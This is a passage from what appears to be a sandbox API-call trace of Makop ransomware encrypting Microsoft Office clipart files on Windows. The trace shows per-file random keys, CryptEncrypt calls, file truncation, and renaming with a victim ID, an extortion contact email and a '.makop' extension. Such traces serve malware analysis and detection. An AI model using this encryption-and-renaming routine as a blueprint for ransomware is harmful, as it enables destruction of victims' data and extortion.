param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.935] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.936] CloseHandle (hObject=0xf0) returned 1 [0113.936] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1234, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02115_.WMF", cAlternateFileName="")) returned 1 [0113.936] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0113.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.938] GetProcessHeap () returned 0x48a0000 [0113.938] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.938] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.938] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.938] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0113.942] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.943] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.943] GetProcessHeap () returned 0x48a0000 [0113.943] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.943] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.943] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.943] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.943] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.943] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.943] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.943] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.944] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.944] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.944] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.944] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.944] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1234, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1234, lpOverlapped=0x0) returned 1 [0113.945] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1240, dwBufLen=0x1240 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1240) returned 1 [0113.946] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.946] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1240, lpOverlapped=0x0) returned 1 [0113.946] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.946] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.946] SetEndOfFile (hFile=0xf0) returned 1 [0113.952] GetProcessHeap () returned 0x48a0000 [0113.952] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.953] GetProcessHeap () returned 0x48a0000 [0113.953] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.953] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.953] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.954] CloseHandle (hObject=0xf0) returned 1 [0113.954] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf94, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02116_.WMF", cAlternateFileName="")) returned 1 [0114.040] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0114.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0114.041] GetProcessHeap () returned 0x48a0000 [0114.041] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0114.041] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0114.041] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0114.041] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0114.045] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.046] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.046] GetProcessHeap () returned 0x48a0000 [0114.046] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0114.046] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0114.046] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.046] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0114.046] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0114.046] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0114.046] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0114.047] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0114.047] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.047] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.047] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.047] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.047] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xf94, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xf94, lpOverlapped=0x0) returned 1 [0114.048] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xfa0, dwBufLen=0xfa0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xfa0) returned 1 [0114.048] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.048] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xfa0, lpOverlapped=0x0) returned 1 [0114.048] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.048] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.048] SetEndOfFile (hFile=0xf0) returned 1 [0114.055] GetProcessHeap () returned 0x48a0000 [0114.055] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0114.055] GetProcessHeap () returned 0x48a0000 [0114.055] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0114.055] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0114.055] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0114.057] CloseHandle (hObject=0xf0) returned 1 [0114.057] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02141_.WMF", cAlternateFileName="")) returned 1 [0114.057] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0114.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0114.061] GetProcessHeap () returned 0x48a0000 [0114.061] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0114.061] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0114.061] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0114.061] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0114.068] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.068] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.068] GetProcessHeap () returned 0x48a0000 [0114.068] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0114.068] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0114.068] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.068] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0114.069] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0114.069] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0114.069] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0114.069] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0114.069] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.069] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.069] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.070] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.070] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa4c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa4c, lpOverlapped=0x0) returned 1 [0114.070] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa50, dwBufLen=0xa50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa50) returned 1 [0114.070] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.070] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa50, lpOverlapped=0x0) returned 1 [0114.070] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.070] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.070] SetEndOfFile (hFile=0xf0) returned 1 [0114.077] GetProcessHeap () returned 0x48a0000 [0114.077] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0114.077] GetProcessHeap () returned 0x48a0000 [0114.077] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0114.078] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0114.078] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0114.079] CloseHandle (hObject=0xf0) returned 1 [0114.079] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1510, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02153_.WMF", cAlternateFileName="")) returned 1 [0114.079] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0114.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0114.080] GetProcessHeap () returned 0x48a0000 [0114.081] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0114.081] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0114.081] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0114.081] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.081] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.081] GetProcessHeap () returned 0x48a0000 [0114.081] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0114.081] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0114.081] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.081] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0114.085] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0114.085] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0114.086] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0114.086] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0114.086] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.086] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.086] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.086] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.087] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1510, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1510, lpOverlapped=0x0) returned 1 [0114.088] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1510, dwBufLen=0x1510 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1510) returned 1 [0114.088] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.088] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1510, lpOverlapped=0x0) returned 1 [0114.088] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.089] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x15e4, lpNewFilePointer=0x0, 